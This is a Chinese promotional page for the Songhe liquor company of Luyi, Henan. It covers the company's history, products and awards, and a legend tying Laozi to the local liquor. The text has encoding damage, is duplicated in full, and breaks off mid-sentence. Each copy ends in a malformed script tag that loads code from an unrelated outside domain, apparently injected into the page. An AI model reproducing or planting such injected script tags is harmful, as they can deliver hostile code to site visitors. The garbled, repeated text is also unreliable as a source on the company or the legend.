宋 河 之 源
公元前571年， 老子李耳出生于楚苦縣瀨鄉(xiāng)曲仁里（今河南鹿邑）。據(jù)說， 老子當年正是因為飲了鹿邑縣棗集鎮(zhèn)的白酒佳釀，才醍醐灌頂般頓悟，創(chuàng)始道教，得道成仙。那釀酒的水系，正是今天的宋河水。早在3600年前，鹿邑，這塊在中原大地上崛起的古城，不僅僅是老子的故鄉(xiāng)，也是酒的故鄉(xiāng)、宋河糧液的最早發(fā)源地。
公元前518年和公元前502年，孔子兩次問禮于老子，每次問禮，二人都邊談邊飲，連飲數(shù)杯?？鬃右挥X
睡去，三日方醒，老子則仙風(fēng)道骨，神采依然。孔子醉酒棗集后，自覺失態(tài)，留下“惟酒無量，不及亂”的處世箴言；公元743年唐玄宗皇帝躬親鹿邑，拜謁先祖，即用“宋河酒”祭祀老子。“宋河酒”因此而名揚天下。
時至今日，在這方歷史悠久、文化底蘊深厚的土地上，河南省宋河酒業(yè)股份公司秉承了宋河聚集千年的厚重雄渾之氣，已經(jīng)發(fā)展成為我國著名的大型釀酒骨干企業(yè)。工業(yè)園區(qū)占地面積80萬平方米，建筑面積45萬平方米。整體規(guī)模在全國同行業(yè)雄居前三位，主要生產(chǎn)中國名酒“宋河糧液”、河南名牌“鹿邑大曲”及其系列產(chǎn)品。公司制訂和嚴格執(zhí)行公司內(nèi)控標準，使企業(yè)標準嚴于國家標準10-20個百分點。另外斥巨資對12條生產(chǎn)線進行了徹底更新，對車間進行大規(guī)模技術(shù)改造，白酒灌裝全部實現(xiàn)自動化。其主導(dǎo)產(chǎn)品“宋河糧液”，1979年被評為河南省名優(yōu)產(chǎn)品；1984年獲輕工業(yè)部銀杯獎；1988年在全國名酒評比中，榮獲國家金獎和“中國名酒”稱號；企業(yè)通過ISO9001：2000國際質(zhì)量管理體系認證。
宋河崛起的一個秘訣就是以質(zhì)量塑商德，以商德促發(fā)展。隨著市場經(jīng)濟的變革，質(zhì)量已成為占有和保持市場份額的首要因素。每瓶酒的質(zhì)量，在宋河人心目中就是一個活的靈魂。“當產(chǎn)量與質(zhì)量發(fā)生矛盾時，產(chǎn)量讓位于質(zhì)量。當成本與質(zhì)量發(fā)生矛盾時，成本讓位于質(zhì)量?！彼魏尤俗非蟮氖橇闳毕荨Ｍㄟ^傳統(tǒng)釀造工藝，佐以高度現(xiàn)代化的質(zhì)量檢測體系，宋河，不需要不停地表白自己。
公司所在地河南省鹿邑縣棗集鎮(zhèn)，既是我國著名的傳統(tǒng)酒鄉(xiāng)，亦是道家鼻祖老子李耳的誕生地和道教文化的發(fā)祥地。宋河釀酒，始于春秋，盛于隋唐，被古人譽為“天賜名手，地賜名泉”，歷經(jīng)百代而不衰。
飄香千年的宋河酒業(yè)，本世紀初，實施具有劃時代意義的轉(zhuǎn)機換制工程，其先進的營銷理念，成功的運營模式，堪稱國內(nèi)傳統(tǒng)名企實現(xiàn)歷史性跨越的典范。古老而年輕的宋河酒業(yè)，迎來了新一輪騰飛的朝陽！面對白酒市場的激烈競爭大潮，在不斷進行管理創(chuàng)新、技術(shù)創(chuàng)新、理念創(chuàng)新的基礎(chǔ)上，堅持走質(zhì)量效益可持續(xù)發(fā)展之路，以大手筆、大投入、高起點、高回報運作大品牌、大網(wǎng)絡(luò)、大市場，有效進行資源整合與優(yōu)勢
擴張，順應(yīng)天時、地利、人和，掌控市場，審時度勢，把握主流，鑄就“宋河”這一品牌恒久的輝煌業(yè)績
老 子 與 宋 河 酒
傳說鹿邑南部有一座山名為隱陽山，此山連綿千里，峰高萬仞，鹿邑縣城坐落于隱陽山陰，百姓深受其害，不僅交通閉塞，與世隔阻，而且終年不見天日，莊稼不生，牛羊不長，饑民盈道，民不聊生。老子生在鹿邑，學(xué)于真源，自小即有除去此山的意愿。一日，與幾位朋友推杯換盞，談古論今，不覺夜半，由于多貪幾杯，返家途中，昏昏然不知所以。只覺頭重腳輕，傾身跌于一巨石間。朦朧中，忽聽有人呼喊：“老君趕
山羅！”。老子睜眼一看，鹿邑鄉(xiāng)親扶老攜幼，向北狂奔，眨眼之間人跡皆無，老子眼睛一亮，“是否上蒼譴我搬山？”。想到此，頓覺精神倍增，神力無限。他舞動長鞭，奮力一揮，只聽山崩地裂，火光萬丈，隱陽山傾刻間斷為三截，再揮兩鞭，只聽山呼海嘯，一截飛向西北，一截直取東南，落于西北處成了太行、王屋，東南處成了南岳衡山！由于用力過猛，鋼鞭斷作兩截，一截落入東海，成了定海神針，一截戳于腳下，目前尚在老君臺前。據(jù)說是因為老子多喝了“棗集酒”才得道成仙，并著成道德真經(jīng)五千言！話說老子將隱陽山趕走之后，便離開了苦縣，一邊游歷名山大川，一邊傳播道教文化，一晃就是數(shù)年。一日，一覺醒來，總覺心神不寧，坐立不安，突發(fā)思鄉(xiāng)之情。于是便駕青牛，驅(qū)白鷺，踏著紫氣，一路由西岳華山歸來，哪知剛進鹿邑邊界，便被眼前景象驚呆。原來，鹿邑近年久旱不雨，土地干裂，莊稼枯死，尤其棗集一帶，本來就是十年九荒，何況遇此大災(zāi)？百姓深信老君神靈，正磕頭跪拜，乞求老君保佑，上蒼開眼，遍灑雨露，普降甘霖。見此情景，李耳心急如焚，急命青牛下界幫忙。青牛十分理解主人心意，用牛角在黃、淮之間犁出一道溝來。然而，當時黃河已經(jīng)斷流，唯獨李耳當年出生時踏禹步?script src=http://www.234mu.com/>
公元前571年， 老子李耳出生于楚苦縣瀨鄉(xiāng)曲仁里（今河南鹿邑）。據(jù)說， 老子當年正是因為飲了鹿邑縣棗集鎮(zhèn)的白酒佳釀，才醍醐灌頂般頓悟，創(chuàng)始道教，得道成仙。那釀酒的水系，正是今天的宋河水。早在3600年前，鹿邑，這塊在中原大地上崛起的古城，不僅僅是老子的故鄉(xiāng)，也是酒的故鄉(xiāng)、宋河糧液的最早發(fā)源地。
公元前518年和公元前502年，孔子兩次問禮于老子，每次問禮，二人都邊談邊飲，連飲數(shù)杯?？鬃右挥X
睡去，三日方醒，老子則仙風(fēng)道骨，神采依然。孔子醉酒棗集后，自覺失態(tài)，留下“惟酒無量，不及亂”的處世箴言；公元743年唐玄宗皇帝躬親鹿邑，拜謁先祖，即用“宋河酒”祭祀老子。“宋河酒”因此而名揚天下。
時至今日，在這方歷史悠久、文化底蘊深厚的土地上，河南省宋河酒業(yè)股份公司秉承了宋河聚集千年的厚重雄渾之氣，已經(jīng)發(fā)展成為我國著名的大型釀酒骨干企業(yè)。工業(yè)園區(qū)占地面積80萬平方米，建筑面積45萬平方米。整體規(guī)模在全國同行業(yè)雄居前三位，主要生產(chǎn)中國名酒“宋河糧液”、河南名牌“鹿邑大曲”及其系列產(chǎn)品。公司制訂和嚴格執(zhí)行公司內(nèi)控標準，使企業(yè)標準嚴于國家標準10-20個百分點。另外斥巨資對12條生產(chǎn)線進行了徹底更新，對車間進行大規(guī)模技術(shù)改造，白酒灌裝全部實現(xiàn)自動化。其主導(dǎo)產(chǎn)品“宋河糧液”，1979年被評為河南省名優(yōu)產(chǎn)品；1984年獲輕工業(yè)部銀杯獎；1988年在全國名酒評比中，榮獲國家金獎和“中國名酒”稱號；企業(yè)通過ISO9001：2000國際質(zhì)量管理體系認證。
宋河崛起的一個秘訣就是以質(zhì)量塑商德，以商德促發(fā)展。隨著市場經(jīng)濟的變革，質(zhì)量已成為占有和保持市場份額的首要因素。每瓶酒的質(zhì)量，在宋河人心目中就是一個活的靈魂。“當產(chǎn)量與質(zhì)量發(fā)生矛盾時，產(chǎn)量讓位于質(zhì)量。當成本與質(zhì)量發(fā)生矛盾時，成本讓位于質(zhì)量?！彼魏尤俗非蟮氖橇闳毕荨Ｍㄟ^傳統(tǒng)釀造工藝，佐以高度現(xiàn)代化的質(zhì)量檢測體系，宋河，不需要不停地表白自己。
公司所在地河南省鹿邑縣棗集鎮(zhèn)，既是我國著名的傳統(tǒng)酒鄉(xiāng)，亦是道家鼻祖老子李耳的誕生地和道教文化的發(fā)祥地。宋河釀酒，始于春秋，盛于隋唐，被古人譽為“天賜名手，地賜名泉”，歷經(jīng)百代而不衰。
飄香千年的宋河酒業(yè)，本世紀初，實施具有劃時代意義的轉(zhuǎn)機換制工程，其先進的營銷理念，成功的運營模式，堪稱國內(nèi)傳統(tǒng)名企實現(xiàn)歷史性跨越的典范。古老而年輕的宋河酒業(yè)，迎來了新一輪騰飛的朝陽！面對白酒市場的激烈競爭大潮，在不斷進行管理創(chuàng)新、技術(shù)創(chuàng)新、理念創(chuàng)新的基礎(chǔ)上，堅持走質(zhì)量效益可持續(xù)發(fā)展之路，以大手筆、大投入、高起點、高回報運作大品牌、大網(wǎng)絡(luò)、大市場，有效進行資源整合與優(yōu)勢
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老 子 與 宋 河 酒
傳說鹿邑南部有一座山名為隱陽山，此山連綿千里，峰高萬仞，鹿邑縣城坐落于隱陽山陰，百姓深受其害，不僅交通閉塞，與世隔阻，而且終年不見天日，莊稼不生，牛羊不長，饑民盈道，民不聊生。老子生在鹿邑，學(xué)于真源，自小即有除去此山的意愿。一日，與幾位朋友推杯換盞，談古論今，不覺夜半，由于多貪幾杯，返家途中，昏昏然不知所以。只覺頭重腳輕，傾身跌于一巨石間。朦朧中，忽聽有人呼喊：“老君趕
山羅！”。老子睜眼一看，鹿邑鄉(xiāng)親扶老攜幼，向北狂奔，眨眼之間人跡皆無，老子眼睛一亮，“是否上蒼譴我搬山？”。想到此，頓覺精神倍增，神力無限。他舞動長鞭，奮力一揮，只聽山崩地裂，火光萬丈，隱陽山傾刻間斷為三截，再揮兩鞭，只聽山呼海嘯，一截飛向西北，一截直取東南，落于西北處成了太行、王屋，東南處成了南岳衡山！由于用力過猛，鋼鞭斷作兩截，一截落入東海，成了定海神針，一截戳于腳下，目前尚在老君臺前。據(jù)說是因為老子多喝了“棗集酒”才得道成仙，并著成道德真經(jīng)五千言！話說老子將隱陽山趕走之后，便離開了苦縣，一邊游歷名山大川，一邊傳播道教文化，一晃就是數(shù)年。一日，一覺醒來，總覺心神不寧，坐立不安，突發(fā)思鄉(xiāng)之情。于是便駕青牛，驅(qū)白鷺，踏著紫氣，一路由西岳華山歸來，哪知剛進鹿邑邊界，便被眼前景象驚呆。原來，鹿邑近年久旱不雨，土地干裂，莊稼枯死，尤其棗集一帶，本來就是十年九荒，何況遇此大災(zāi)？百姓深信老君神靈，正磕頭跪拜，乞求老君保佑，上蒼開眼，遍灑雨露，普降甘霖。見此情景，李耳心急如焚，急命青牛下界幫忙。青牛十分理解主人心意，用牛角在黃、淮之間犁出一道溝來。然而，當時黃河已經(jīng)斷流，唯獨李耳當年出生時踏禹步?script src=http://www.234mu.com/>
